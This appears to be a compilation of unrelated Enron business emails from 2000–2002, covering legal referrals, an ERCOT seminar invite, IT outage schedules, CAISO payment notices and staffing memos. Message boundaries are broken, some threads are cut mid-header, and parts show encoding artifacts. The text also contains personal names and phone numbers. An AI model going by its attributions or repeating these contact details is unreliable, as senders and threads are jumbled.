Anthony
 - Enron.doc

--------- Inline attachment follows ---------

From:  </O=ENRON/OU=NA/CN=RECIPIENTS/CN=JSTEFFE>
Date: Tuesday, November 13, 2001 6:27:43 GMT
Subject: 

Thanks for your response.

	"A William Urquhart" <awu@quinnemanuel.com>
	05/16/2001 12:01 PM
		 
		 To: <Richard.B.Sanders@enron.com>
		 cc: "Gina Clavel" <gc@quinnemanuel.com>

Hi Richard--

I had dinner with Gilles August, the managing partner of the firm, on 
Friday.  I think his firm is exactly what you are looking for.  They have a 
number of partners who had high level partners in the Government.  However, 
they also have a strong litigation group if that does not work out.  As I 
said last week, their firm patterns itself after US firms.  Gilles himself is 
a member of the New York bar.

I asked Gilles to send you information concerning his firm directly.  Gilles 
tells me that he is going to be in Texas on business sometime soon.  He would 
be happy to stop by and visit with your legal team.

Gina--Will you please e-mail Gilles Richard Sanders contact information, 
including his e-mail address, his office address and phone contact 
information.

>>> <Richard.B.Sanders@enron.com> 05/14/01 03:32PM >>>
Can you forward me some information regarding the French firm we discussed
last week?

2 of 2
From: Hailu, Ted [mailto:thailu@ercot.com]
Sent: Thursday, January 17, 2002 9:56 AM
To: Hailu, Ted
Cc: 1 ERCOT Client Service Reps; Dautel, Pamela
Subject: Invitation to a web seminar - TCR web site demonstration

This is part 2 of a 2 part training session on TCRs and their use in the ERCOT market.  You should have already received an invitation for part 1 which introduces TCRs and their use and outlines the registration and security requirements as well as the financial settlement process.  This is the second part of the web seminar to demonstrate the functionality of the TCR auction software.  
 
There are a limited number of lines available for the conference call. Your cooperation in sharing one phone line with a speakerphone for multiple attendees from the same entity is greatly appreciated. 
 
If you have further questions, please call your ERCOT client representative or call the general client relations number at (512) 248-3900.
 
Web Seminar Details:
 
When: January 23rd, 2002 9:00 AM (GMT -06:00) Central Time (US and Canada)
 
Duration: 90 minutes
 
Before The Meeting:
 
To ensure that your browser is configured properly click on this link:
 
<http://genesysmeetingcenter.com/browsertest/>
 
If you receive a warning or fail indicator please click on it for instructions on how to configure your browser.
 
At the Time of the Meeting:
 
To join the web portion of your meeting visit: <http://genesysmeetingcenter.com/GCC/r.asp?ba=6&I=300015339>
 
To join the audio part of the conference:
 1. Dial the following number: 1-866-279-1566
 2. Enter your meeting number:*5122483873* (you must dial the "*" before and after the meeting number)
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
GENESYS TECHNICAL SUPPORT CAN BE REACHED ANYTIME AT:
U.S & Canada: 1-800-305-5208 or 1-303-267-1097
United Kingdom: +44 20 8288 4433
 
Ted Hailu
ERCOT Client Relations Manager
Telephone: (512) 248-3873
 
The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material.  Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited.   If you received this in error, please contact the sender  and delete the material from any computer.
 
Kevin,

Makes perfect sense.

Vince

Kevin Kindall@ENRON
01/08/2001 08:29 AM
cc:  
Subject: Comment?

---------------------- Forwarded by Kevin Kindall/Corp/Enron on 01/08/2001 
08:28 AM ---------------------------
From: Rick L Carson@ECT on 01/08/2001 08:21 AM
To: Kevin Kindall/Corp/Enron@ENRON

Subject: Re: Weekly report  

Kevin:  Since David Port has assumed responsibility for this project from a 
RAC perspective, I recommend that you include David on the distribution.  
Thanks!   
  
                  Rick C.

---------------------- Forwarded by Ami Chokshi/Corp/Enron on 02/28/2000 
11:16 AM ---------------------------

troy_a_benoit@reliantenergy.com on 02/28/2000 11:10:16 AM
To: "Ami Chokshi" <Ami_Chokshi@enron.com>
cc:  

Subject: MARCH 1 NOMS

(See attached file: egmnom-Mar.xls)

 - egmnom-Mar.xls

Hello to all the new students and welcome back to the rest.
 
*Shuttle Confusion*
Well, looks like there's a bit of confusion out there for those that actually read our back to school packet (which I'm sure was all of you) in regards to the shuttle.  The shuttle pick-up times will remain the same as last semester 4:15pm, not 4:30 or 4:20.  Also, the South Bay Shuttle pick-up location also remains the same, at Our Lady's Way, not S3 Inc. parking lot.
 
Sorry about the confusion.  
 
On a lighter note, the EVENING NEWS is looking for submissions!  So if your exciting life has EVEN MORE exciting events, let us know.  Not only do we want to know about it, but we want to see it too.  So if you have pictures with your submission, that's great.  So you can tell us about recent births, promotions, changes, or even let us know what you did this summer - anything that you want to share with your fellow students.  
 
You can submit your contribution by e-mail (slee@haas), fax (510-643-5901), or regular mail.  It could be written on a paper bag, cocktail napkin, even a palimpsest.  It's all good.  We just want to hear from you about you.
 
Thanks.
 
Seung Lee
Evening MBA Program
 
Jeff,

 I received the rent roll.  I am going to be in San Marcos this weekend but I 
am booked with stage coach.  I will drive by Friday evening.
 I will let you know next week if I need to see the inside.  Can you find out 
when Chelsea Villa last changed hands and for what price?

 What about getting a look at the site plans for the Burnet deal.  Remember 
we have to get Brenda happy.

Phillip

Hi!

             I gave his resume to Scott Neal.  He is going to look at it and 
pass it on to the appropriate people.  It looks like his backround includes 
more origination experience than trading.  

Take care!

 =09 =09    Dear Joe,  I'm Washington Bureau Chief Peter Cook filling in fo=
r Jay Rickerts.   On Friday, we'll bring you the latest from Washington on =
the final day of the FERC's weeklong workshop on Regional Transmission Orga=
nizations.  Participants have told our bureau the workshop has been product=
ive and tomorrow we'll find out how the meetings might impact FERC's implem=
entation of RTOs.  Former FERC Commissioner Don Santa will give us his thou=
ghts during the 2:00 p.m. ET newscast on where RTOs stand now.   We'll also=
 get more reaction to the nomination of Joe Kelliher to fill the open seat =
at the FERC.  Gay Friedmann of the INGAA will give us her thoughts on Kelli=
her's nomination during the 9:00 a.m. ET newscast.   Finally from Washingto=
n on Friday, we'll bring you the latest from Congress on energy legislation=
.  The anthrax scare has impacted an already crowded Congressional calendar=
 and there's mixed opinion in the Senate on whether lawmakers there will vo=
te on a comprehensive energy bill this year.     ENL's Gale Smith reports, =
a major energy company is launching a  one-of-a-kind Web site to buy fuel. =
 The unique idea behind this is that customers helped develop the site.  Mo=
tiva Vice President of Commercial Marketing and Distribution Ralph Grimmer =
talks about the site from the Houston bureau on Friday.   The Houston burea=
u will also bring us a report on Sakonnet Technology on Friday.  Sakonnet w=
as started by a handful of former employees from JP Morgan and Merrill Lync=
h and has found success by being able to offer the same level of support as=
 more established investment banks - for less money.  Join us tomorrow from=
 the Houston bureau for all the details on Sakonnet.      From the West Coa=
st bureau, ENL's Kym McNicholas says we'll have word on Friday from Energy =
Secretary Spencer Abraham's press conference and remarks from his keynote a=
ddress at Hoover Institution's Conference on California's electricity crisi=
s.       California Governor Gray Davis is expected to announce his adminis=
tration's strategy to attempt renegotiation of the long-term power contract=
s the state signed between January and September of this year with electric=
ity providers.  Log on for these stories and more from the West Coast burea=
u.    Keep in mind things are subject to change at a moment's notice. Occas=
ionally guests cancel or change time slots.  We'll continue to do our best =
to keep you updated on future interviews and events.     Be sure to watch o=
ur newscasts every business day - 9 a.m. to 5 p.m. ET, at the top of each h=
our.  =09 =09=09=09=09
 =09=09=09=09=09=09 =09
=09 =09Peter Cook, EnergyNewsLive.com Washington Bureau Chief  View today's=
 Energy Wrap video   (Requires Windows Media Player or Real Player )   Expe=
rience all that Williams Energy News Live has to offer!   If you are receiv=
ing this letter for the first time and wish to continue, subscribe now    T=
o stop receiving this letter, unsubscribe now    If you are having trouble =
receiving this e-mail, please let us know  or  call (800) WILLIAMS (800-945=
-5426) weekdays, 7am-7pm CST.    Comments? Suggestions? Let us  know  or  c=
all (800) WILLIAMS (800-945-5426) weekdays, 7am-7pm CST.    Copyright 2001 =
Williams Energy News Live, LLC. All  Rights Reserved.  =09=09=09=09=09

F O R

October 5, 2001 5:00pm through October 8, 2001 12:00am
	    		   		
EES: 
Time:  Sat 10/6/2001 at  6:00:00 PM CT thru Sun 10/7/2001 at  12:00:00 AM CT
	Sat 10/6/2001 at  4:00:00 PM PT thru Sat 10/6/2001 at  10:00:00 PM PT
	Sun 10/7/2001 at  12:00:00 AM London thru Sun 10/7/2001 at  6:00:00 AM London
Outage:  Migrate EESHOU-FS1 to SAN
Purpose: New Cluster server is on SAN and SAN backups
This will provide better performance, server redundancy, and backups should complete without problems.
Backout: Take new server offline,
Bring up old servers
change users profiles back to original settings.
Contact(s): 	Roderic H Gerlach    713-345-3077
  
Time:  Fri 10/5/2001 at  10:00:00 PM CT thru Fri 10/5/2001 at  10:15:00 PM CT
	Fri 10/5/2001 at    8:00:00 PM PT thru Fri 10/5/2001 at    8:15:00 PM PT
	Sat 10/6/2001 at  4:00:00 AM London thru Sat 10/6/2001 at  4:15:00 AM London
Outage:  Maintenance 63 Network
Purpose: Maintenance on the 172.16.63.0 network
Backout: 
Contact(s): 	George Nguyen    713-853-0691
 
Time:  Fri 10/5/2001 at  9:00:00 PM CT thru Sat 10/6/2001 at  1:00:00 AM CT
	Fri 10/5/2001 at  7:00:00 PM PT thru Fri 10/5/2001 at  11:00:00 PM PT
	Sat 10/6/2001 at  3:00:00 AM London thru Sat 10/6/2001 at  7:00:00 AM London
		    		    		    		
Impact:  EI

Impact:  
Time:  Fri 10/5/2001 at  9:00:00 PM CT thru Fri 10/5/2001 at  11:45:00 PM CT
	Fri 10/5/2001 at  7:00:00 PM PT thru Fri 10/5/2001 at    9:45:00 PM PT
	Sat 10/6/2001 at  3:00:00 AM London thru Sat 10/6/2001 at  5:45:00 AM London
Outage:  Upgrade Test for XTND
Purpose: Properly test new configuration files for upgrade before production phase.
Backout: Put configuration files back to original settings.
Contact(s): 	Edgar Gallegos    713-345-5634

OTHER: 
Impact:  HR
Time:  Fri 10/5/2001 at  7:00:00 PM CT thru Fri 10/5/2001 at  8:00:00 PM CT
	Fri 10/5/2001 at  5:00:00 PM PT thru Fri 10/5/2001 at  6:00:00 PM PT
	Sat 10/6/2001 at  1:00:00 AM London thru Sat 10/6/2001 at  2:00:00 AM London
Outage:  Reboot HR-DB-4
Environments Impacted:  All HR Global applications.
Purpose: More SAN disk space is needed to databases on HR-DB-4
Backout: 
Contact(s): 	Brandon Bangerter    713-345-4904
		Mark Calkin                713-345-7831  713-410-1624
		Raj Perubhatla          713-345-8016  281-788-9307
		    				    		    		    				    		    		
Time:  Sat 10/6/2001 at  12:00:00 PM CT thru Sat 10/6/2001 at  10:00:00 PM CT
	Sat 10/6/2001 at  10:00:00 AM PT thru Sat 10/6/2001 at    8:00:00 PM PT
	Sat 10/6/2001 at  6:00:00 PM London thru Sun 10/7/2001 at  4:00:00 AM London
Outage:  A3500 disk controller maintenance for Enlighten server frissure.
Environments Impacted:  Enlighten
Purpose: Need to address repeat issues with controller.
Backout: Role back to the original equipment and configuration. Even with the controller offline there is built in redundancy.
		    		    		    		
Impact:  ENW - UNIX
Time:  Fri 10/5/2001 at  8:00:00 PM CT thru Sun 10/7/2001 at  11:00:00 PM CT
	Fri 10/5/2001 at  6:00:00 PM PT thru Sun 10/7/2001 at    9:00:00 PM PT
	Sat 10/6/2001 at  2:00:00 AM London thru Mon 10/8/2001 at  5:00:00 AM London
Outage:  Large-Scale Migration of Production Data (Solar)
Environments Impacted:  UniX Users. There will be a TOTAL OUTAGE from Saturday midnight until Sunday 6am. We may need to reboot clients that do not properly unmount solar's filesystems, especially SunOS clients. 
Purpose: solar  is being decommissioned.  FDDI network is failing, NetApps offer a big performance improvement
Backout: Unmount any clients on the NetApps. Revert to saved automount maps. Re-enable NFS services on Solar. Scan NetApps for files updated since migration and move or rdist them back.
Contact(s): 	Mike Croucher    
		Adam DeRidder  (713) 853-1428  813/318.0831
		Carlos Uribe  (713) 345-8179  
		Bob McAuliffe    
				    		    		    		
Time:  Sat 10/6/2001 at    2:00:00 AM CT thru Sat 10/6/2001 at    2:00:00 PM CT
	Sat 10/6/2001 at  12:00:00 AM PT thru Sat 10/6/2001 at  12:00:00 PM PT
	Sat 10/6/2001 at  8:00:00 AM London thru Sat 10/6/2001 at  8:00:00 PM London
Outage:  DCAF II / AUTOFAX Oracle Database Server Migration & Upgrade
Environments Impacted:  ENA
Purpose: Migrate database to a newer server. Upgrade database to the newer version supported by Oracle.
Backout: Redirect tnsnames.ora to the existing old database server.
Contact(s): 	Alex Hsieh  713-853-6561  713-288-1779
 
SITARA:  
Impact:  Sitara/CPR
Time:  Sat 10/6/2001 at  8:00:00 PM CT thru Sun 10/7/2001 at  7:00:00 AM CT
	Sat 10/6/2001 at  6:00:00 PM PT thru Sun 10/7/2001 at  5:00:00 AM PT
	Sun 10/7/2001 at  2:00:00 AM London thru Sun 10/7/2001 at  1:00:00 PM London
Outage:  Sitara/CRP impact due to Solar Migration 
Environments Impacted:  Sitara/CPR production
Purpose: New hardware migration to done by Enterprise Storage Team
Backout: 
Contact(s): 	SitaraonCall    713-288-0101
		CPRonCall    713-284-4175
 
	pls print.  t hanks df
---------------------- Forwarded by Drew Fossum/ET&S/Enron on 03/19/2001 08:31 AM ---------------------------

Stanley Horton
03/13/2001 01:25 PM
Sent by:	Cindy Stark
To:	Bill Cordes/NPNG/Enron, Shelley Corman/ET&S/Enron, Steve Hotte/Corp/Enron, Rod Hayslett/FGT/Enron, Phil Lowry/OTS/Enron@ENRON, Danny McCarty/ET&S/Enron@Enron, Rockford Meyer/FGT/Enron, Michael Moran/ET&S/Enron, Drew Fossum/ET&S/Enron@ENRON, Julia White/ET&S/Enron@ENRON, James Prentice/GPGFIN/Enron, Gary P Smith/OTS/Enron@ENRON, Mike McGowan/ET&S/Enron, Margaret Carson/Corp/Enron@ENRON, Lorna Brennan/ET&S/Enron, Rick Dietz/ET&S/Enron@ENRON
cc:	Virginia O'Neill/NPNG/Enron, Ruth Mann/ET&S/Enron, Rita Houser/GPGFIN/Enron, Kathy Campos/GPGFIN/Enron, Amelia Alder/OTS/Enron@ENRON, Julie Armstrong/Corp/Enron@ENRON, Anne Jolibois/FGT/Enron, Emily Sellers/ET&S/Enron, Martha Benner/ET&S/Enron, Ricki Winters/ET&S/Enron@Enron, Janice Hogan/GPGFIN/Enron, Carolyn Perry/OTS/Enron 

Subject:	ETS HALF DAY STAFF MEETING AGENDA - MARCH 21, 2001

Please reference the attached agenda.  If you have any questions or concerns, do not hesitate to call me.

Please be sure to advise me if you are UNABLE to attend!

Thanks,
Cindy
X36197

any interest?
----- Forwarded by Steven J Kean/NA/Enron on 09/24/2000 05:37 PM -----

	Eric Thode
	09/20/2000 11:46 AM
		 
		 To: Steven J Kean/NA/Enron@Enron, Richard Shapiro/HOU/EES@EES, James D 
Steffes/HOU/EES@EES
		 cc: 
		 Subject: job applicant

Is this of interest to you?

Eric

---------------------- Forwarded by Eric Thode/Corp/Enron on 09/20/2000 11:46 
   
	From:  Yvette Parker                           09/18/2000 05:14 PM
	
To: Eric Thode/Corp/Enron@ENRON
cc:  

Subject: job applicant

Imad Tareen forwarded me his resume for a possible job opportunity in our 
group.  (Please see below.)  I have never met him before, and I have no idea 
how he got my phone number, but his resume looks quite good.  What do you 
think?

Yvette

---------------------- Forwarded by Yvette Parker/Corp/Enron on 09/18/2000 

Imad Tareen
09/18/2000 04:39 PM
To: Yvette Parker/Corp/Enron@ENRON
cc:  

Subject: Rotation

Hi  Yvette

Thanks for your help.  I  am very interested in exploring opportunities in 
your group.  I have a Masters in Public Policy from Harvard which deals a lot 
with communications and running  campaigns.

Imad 

Dear Benjamin Rogers,

You have been invited to participate in a deal on DealBench, sponsored by 
Enron for LV Cogen.

You are about to experience firsthand our secure platform that enables 
clients to conduct their business on the web. We provide a collaborative 
environment to share documents, conduct auctions, host webcasts, manage deal 
information and monitor deal progress - instantly, efficiently and 
effectively.

In order to be able to view the deal, you have to update your user profile 
with the deal key: 9703517744633713. This will enable you to view the deal 
and participate in the process.  Please also remember that this deal key is 
specific to the above deal.

We are looking forward to working with you.

If you have any questions or are unable to access the system, please email us 
at: Webmaster@DealBench.com or call us at: +1-713-853-9438.

We encourage your feedback on both the platform and service, either via email 
or telephone.

WebMaster
DealBench

---------------------- Forwarded by Tana Jones/HOU/ECT on 03/03/2000 08:47 AM 

Molly Harris
03/02/2000 05:59 PM
To: Frank L Davis/HOU/ECT@ECT, Karen Lambert/HOU/ECT@ECT, Tana 
Jones/HOU/ECT@ECT, Samuel Schott/HOU/ECT@ECT
cc: Sheri Thomas/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Bernice 
Rodriguez/HOU/ECT@ECT, Tom Moran/HOU/ECT@ECT, Brant Reves/HOU/ECT@ECT, Debbie 
R Brackett/HOU/ECT@ECT, Brian Hunter-Lindsay/LON/ECT@ECT, Coenraad 
Basson/LON/ECT@ECT, Bhautik Patel/LON/ECT@ECT, David Hardy/LON/ECT@ECT, David 
Weekes/LON/ECT@ECT, Carrie Southard/HOU/ECT@ECT, Lisa Gillette/HOU/ECT@ECT, 
Linda S Bryan/HOU/ECT@ECT 
Subject:  EOL Credit Responses 3/2

Please find attached Credit's EOL responses for 3/2/00.

Regards
Molly

As you are aware a "safety net" type of provision has been included in the master netting agreement to attempt to convert any underlying master agreement one way payment provision to a two way payment provision.  However, this is only a safety net and should not be relied upon.  It may not cover every particular definitional/form structure in an underlying master agreement.  Please be sure to review the underlying master.  It is probably always best to draft a contract specific amendment to convert to 2way payment since this is a critical issue to effect properly the closeout netting and setoff provisions of the master netting agreement.  The specific amendment can be included in the master netting or accomplished as a separate amendment to the underlying master agreement.

Any questions, call me.

Mary Cook

Hi Clare,

How about:

Tuesday, May 9th 1:30-2:30 PM or 3:00-4:00 PM

Sally has tentative plans to go to Calgary May 10-12, so Tuesday is best for 
her.  If neither of these time slots work, just let me know and I can move 
things around to accommodate James.

See ya,
Patti

556890 - changed to M-S (jeremy's mask was wrong)
556515 - mike swerzbin says this is definitely a peak deal - let me know what 
amerex says

Kate

03/21/2001 02:28 PM
cc:  

Subject: 3/21/00 Checkout

PREBON WEST 

All are o.k.

BLOOMBERG

AMEREX WEST

deal 556515
Amerex shows as off-peak .....we show as on-peak

Jeremey Davis/Jeff Richter
deal 556890
days should be Mon-Sat......enpower has Mon-Fri.

---------------------- Forwarded by Donna Johnson/PDX/ECT on 05/25/2001 10:04 AM ---------------------------

Jennifer Johnson@EES
03/26/2001 01:36 PM
To:	Donna Johnson/PDX/ECT@ECT
cc:	Chris Stokley/HOU/ECT@ECT, Caroline Emmert/HOU/ECT@ECT, Angela Smith/HOU/EES@EES 

Subject:	Re: CAISO Notice - Disbursement of Funds for December Invoice   

Donna, 

Can you give me the a  percentage that is related to EES?  The traders at EES is concerned how much cash we are actually receiving from the ISO related to ancillary sales EPMI has made on EES behalf?

Thanks,

Jennifer

 	Donna Johnson @ ECT 03/26/2001 03:43 PM 	

To:	Jennifer Johnson/HOU/EES@EES
cc:	Chris Stokley/HOU/ECT@ECT, Caroline Emmert/HOU/ECT 
Subject:	CAISO Notice - Disbursement of Funds for December Invoice

Jennifer, we received full payment for September and October; however, for November and December 2000, the ISO charged one hundred cents on the dollar and paid partial cents on the dollar.  Please see the emails below for details on those distributions.

Hopefully this helps, if you need anything else, please call me.

Donna
To:	ISO Market Participants <IMCEAEX-_O=CAISO_OU=CORPORATE_CN=DISTRIBUTION+20LISTS_CN=ISO+20MARKET+20PARTICIPANTS@caiso.com>
cc:	"Leiber, Phil" <PLeiber@caiso.com>, "Grant, Colleen"	 <CGrant@caiso.com> 

Subject:	CAISO Market Notice:  November Final Invoice Status

> ISO Market Participants:
>
> On Thursday, February 22, 2001, the ISO was scheduled to settle the
> November 2000 final (true-up) invoices.
>
> Payments due and received are summarized below:
>
> 	Market Obligations
> 	   Invoiced 2/14/01:		 $3,153,175.74
> 	   Paid on 2/22/01:		 $62,787.25
>
> 	  ISO Accounts Payable 2/22/01	$17,546,615.96 *
> 	  Available for Distribution	$62,787.25
> 	  Amount Distributed 2/26/2001	$62,787.25
>
> 	Note:
> 	* Without consideration of previous defaults, the  ISO was scheduled
> to distribute $17,546,615.96.  The difference between this amount and the
> $3,153,175.74 which should have been received is a timing difference which
> would have been funded from an over-collection from the November
> preliminary invoice (absent the market defaults related to the preliminary
> statement.)
>
> The ISO issued instructions to its bank to distribute $62,787.25 today.
> The amount available for distribution was distributed equitably, taking
> into consideration total November charges (including preliminary and final
> invoiced amounts), and amounts previously distributed.  The ISO is
> currently preparing for distribution to ISO creditors a current
> certification of amounts owed after all distributions to date.
>
>
> Phil Leiber	Don Fuller
> Treasurer	Director, Client Relations

---------------------- Forwarded by Donna Johnson/PDX/ECT on 03/26/2001 12:40 PM ---------------------------

"Woertz, Byron" <BWoertz@caiso.com> on 03/07/2001 10:50:06 AM
To:	SC Settlements Contacts <IMCEAEX-_O=CAISO_OU=CORPORATE_CN=DISTRIBUTION+20LISTS_CN=SCSETTLECONTACTS@caiso.com>
cc:	 

		SC Settlements Contacts:
		Cash clearing for preliminary invoices for December 2001 was
to take place on March 5, 2001.  The ISO received market related funds
totaling $46,369,847.29 from total market receivables of $1,503,186,210.21.
The ISO intends to distribute these funds on March 7, 2001.  The ISO delayed
this distribution to allow us to complete the complex calculations necessary
to ensure that all funds are distributed equitably and in accordance with
the ISO Tariff.
		In addition, PG&E transferred $177,000,000 ($171,116,114.43
net of GMC obligation) to the ISO on March 2, 2001.  Such funds were
intended by PG&E to satisfy PG&E obligations to the ISO through the
California Power Exchange.   The California Power Exchange is the subject of
a preliminary injunction (Case No. 01-00901CM of the US District Court,
Central District of California,  "Enron Power Marketing and Enron Corp. vs.
California Power Exchange") which provides that "CalPX shall not be required
to make payments to creditors of CalPX resulting from its clearinghouse
function."    The ISO is discussing with its counsel the appropriate course
of action to take in light of this injunction, and has placed such funds in
a segregated interest bearing account until such a determination has been
made.
		Phil Leiber
		Dir. Financial Planning & Treasurer
		California ISO
		916 351-2168
		916-351-2259 (fax)
 
Oneok will be handling these deliveries instead on Westex, effective January.  Do you have a copy of the original contract?

From: 	Lee, Dennis  
Sent:	Thursday, November 29, 2001 10:02 AM
To:	Lokay, Michelle; Watson, Kimberly; McConnell, Mark; Lohman, TK; Buehler, Craig; Hanagriff, Richard; Lee, Dennis
Subject:	Terminate CR 22017 Oneok Westex Transmission

We received a request from Oneok Westex Transmission to terminate FTS-2 Agreement 22017 effective January 1, 2002.  

 According to Butch at Westex, he thinks Energas will begin moving the volumes.  Can someone look into this?

Thanks, 

Dennis P. Lee
ETS
Gas Logistics
(713) 853-1715
dennis.lee@enron.com

Dear Mark and Lance: 

        I know it's a challenging time over there right now for all of you, and that the last thing you want is another pitch.  However, I wanted to let you know that we're still thinking of you and eager to do whatever we can to assist in the transition process.  In that regard, several of us got together yesterday to meet and discuss areas where we could provide some assistance to Enron as it moves forward.  That list is as follows:

        Divestitures.  As you know, we certainly have a close familiarity with Enron's various businesses.  While it's presumably too early to know what Enron will keep and what it will dispose of, we are certainly well situated to assist in those transactions.  

        Restructurings.  We are also well-positioned to assist you in any debt restructurings which Enron chooses to pursue.  I will separately send you some additional information regarding our banking and lending practice, and loan restructuring practice.  

        Securities Litigation.  While I know Enron retained Wilmer, Cutler & Pickering for most of the securities litigation, we do have some unique capabilities in that regard, and would like to explore either serving as local counsel in some of that litigation, or representating some of the Enron affiliates that are named in the litigation.  Again, I will separately send some information regarding our securities litigation practice.

        Commercial Leasing.  I imagine that Enron's office space situation will change fairly dramatically.  We have extensive experience in leasing and subleasing matters, as well as real estate work-out matters.  

        Labor/Employment.  We can offer targeted and deep expertise in any aspect of labor and employment law that may be implicated in the Dynegy/Enron merger, from review and analysis of employment agreements that may exist with key Enron employees to assisting with any adjustment of the workforce of the combined companies.  I will send you more detailed information about our practice in this area.  

Mark and Lance, this list is intended merely as our best guess as to areas where Enron may need some assistance--it is not meant to be exhaustive.  We want to help you in any way that we can, whether it's in areas that we've discussed above, or in other areas that we haven't thought of.  The key point is that we are here to help.  Call me when you get some time and we can discuss this in more detail.  My direct line is (713) 226-1143.

Very truly yours, 

Bill 

H. William Swanstrom 
Locke Liddell & Sapp LLP 
Phone:  (713) 226-1143 
Fax:  (713) 229-2518 
bswanstrom@lockeliddell.com 

Kim
Good morning.? I spoke with Jason yesterday  afternoon.? Summit had the 
Irvine plant's contract expiring at the end of  April 2001.? The RFP we sent 
out shows that the new contract start date is  May 1, 2001 for that site.? I 
will check the contract today to see what the  situation is because Jason had 
in his letter that the proposed deal would start  March 1, 2001.
This site has a month to month deal and must have had a  notification date, 
which I will look into.
Also, we have compiled information for  another Smurfit site that is on 
tariff.? Every month, we paid less for the  tariff customer, which has less 
usage, than for Irvine.
I can show you that information if you would like. I brought  up this issue 
with Jason, and he said we could look at switching to a fixed  rate.? This 
doesn't really solve the problem.? I had wanted to look  into the possibility 
of switching back to tariff for that customer. It seems  that for the smaller 
customers, tariff is the better option.? Certainly for  the month of December 
(I haven't even seen that bill), it would've been the  better choice.? 
I did want to review the pricing for the larger Smurfit  facilities also.? 
When you get a chance, please give me?a call.?  
Thanks Kim!
Lynn
----- Original Message ----- 
From:  Kim.Ward@enron.com 
To: Lynn  Bracken 
Sent: Wednesday, January 24, 2001 6:37  PM
Subject: Re: Smurfit Stone

Lynn,

I received your message after you left  today.? Jason is from our retail
company who does serve some of  Smurfit's box plants.? I have left a message
with him to discuss your  RFP and what make sense for us to do.? We may need
to split things up  between the box plants and the Mill.? Call me when you
get a chance  and hopefully I will have had a discussion with  him.

Thanks,

Kim

FYI.  Feel free to sit in so you have a better sense of what you might face  
at the CPUC workshop on the 17th.  I'm not sure where we'll do this--probably 
either Shelley's or Steve's office.  DF
---------------------- Forwarded by Drew Fossum/ET&S/Enron on 03/27/2001 
08:44 AM ---------------------------
From: Shelley Corman/ENRON@enronXgate on 03/26/2001 04:38 PM
To: Mary Kay Miller/ET&S/Enron@ENRON, Steven Harris/ET&S/Enron@ENRON, Drew 
Fossum/ET&S/Enron@ENRON
cc:  

Subject: FW: CEC Interviews

  Scott Tomashefsky with the California Energy Commission would like to 
schedule a call from 5-6 PM (3-4 PT) on Wed, Mar. 28 to discuss the questions.
I gave him my number to call.  Drew and I will sit in from here.  Steve - let 
me know if you will be in Houston or be calling in.

From:  Corman, Shelley  
Sent: Friday, March 23, 2001 12:14 PM
To: Miller, Mary Kay; Fossum, Drew; Harris, Steven
Subject: CEC Interviews

McKinsey & Co. has been engaged by the State of California to evaluate 
conditions in the gas market to California.  A Mckinsey representative, 
together with a CEC staffer, asked to interview TW next Wednesday, Mar 28 
(time TBD).  I checked with Steve Kean & he encouraged us to proceed (albeit 
with some caution knowing California's great desire to shift blame).

McKinsey forwarded the attached list of questions.  You'll see that they are 
very general & policy oriented.  I have taken a stab at filling in proposed 
answers.

I'd be happy to field the call (together with Steve Harris if he is 
available).  Let me know if you have feedback and/or prefer to handle the 
call yourself.

Daren,

Deal # 450391 has been entered in Sitara as a spot wellhead purchase from 
Wagner Oil Company.  The deal is for 250/d at meter # 9859 priced at IFHSC 
less $0.11.  The deal  was not in Vance's nom.

Bob

Please note this is confidential at this point!

To document what we discussed by phone, I met with Sally Beck and Brent Price 
today.  Fernley Dyson has a vacancy that he is attempting to fill, but it may 
be 3 to 6 months before the position is up and running.  To accomplish the 
need in the meantime, Sally and Brent have agreed to share the duties as 
follows:

Brent - April 1 to June 15
Sally - June 16 to August 15

They are traveling to the UK the week of 3/20 and would like to schedule some 
time with you on either Monday afternoon or Wednesday.  Please let us know 
what is good for you.

Issues:

Housing - They will each be bringing their families with them (Brent - spouse 
and 2 small children - the baby will need a crib; Sally - husband and 3 
children - ages 15, 11 and 2).  I understand that the houses which have been 
vacated due to returning expats have all been filled, so can you have someone 
arrange for corporate housing that will accommodate them?

Immigration - Due to the fact that they will be traveling back and forth and 
have made trips already, I feel it would be best to apply for work permits 
versus using the visa waiver.  I have sent them the forms and requested that 
Brent complete his and file immediately to increase chances of getting his 
sometime shortly after he arrives in the UK.  I have informed him that he 
should arrive without his family if the permit has not been received by April 
1.

Tax - Please confirm whether PAYE will need to be paid for them during the 
short term assignment and then reclaimed through a treaty benefit.

Benefits - I have suggested that they remain on US domestic payroll and 
benefits and, if medical claims arise that exceed what they would have spent 
in the US, they may claim the excess on the expense report.

Per diem - We need to discuss the appropriate amount based on family size.

Let me know of any other issues we need to address.  As always, I appreciate 
your help.

Jane

To:  jeffrey.shankman@enron.com,
mike.mcconnell@enron.com

is someone going to return my phone calls?  i have a
couple of questions that need to be answered before next
week. 715-5958.

i'm using this email because my outlook has been fucked
up for 3 weeks and IT cant fix it.

When you get a chance, tell me again what your schedule is for the end of April through July.  I'm trying to figure when I can come visit and not pay too much on airfare, be able to stay a decent amount of time and not miss critical days at work.

I will definitely come over...just don't know if it'll will be when Katy does.

Sue

James responded and filled me in on the issue.  Sounds like we need the automated link to solve future problems.  How are we going to clean up the existing backlog?  Did you know that this had grown so large?  James says that this sits in Shelly Stubbs' lap to solve and that he has offered up resources to help. Sounds as if the offer has not been taken by Shelly.  

Bill is obviously out of his crisis mode on counterparty credit issues and has lifted his head to look at other things.  I hate getting these e-mails from him --he always has more info than I do on issues and for some reason his confidence level in operations is not incredibly strong because he always contacts me!  I would love for someone else on the operations team to gain his confidence and I am sure that you would like for him to come to you with issues instead of always contacting me first.  (Don't worry - you are not alone in this -- applies to EA, EGM and EIM as well).  Let's talk about how we can manage this better.  

From: 	Beck, Sally  
Sent:	Tuesday, November  13, 2001 9:20 AM
To:	Dayao, Anthony
Cc:	Apollo, Beth
Subject:	FW: Need Answers Today 

This problem is a result of the lack an automated interface between GCP and RPS and RGS.  My understanding is that Todd Taylor on your team is working on this interface.  What is the expected completion of this interface, and if is later than today, what can be done to deliver this ASAP.  With the large number of Mass Market deals being done, it is imperative to have an automated solution to this problem.  Can you call me today with an update?  Thanks. -Sally 

Sent:	Tuesday, November  13, 2001 9:02 AM
To:	Apollo, Beth; Scribner, James
Subject:	Need Answers Today 

Can you update me today on status, issues and resolution?  We need to get back with Bill Bradford today.  --Sally 
From: 	Bradford, William S.  
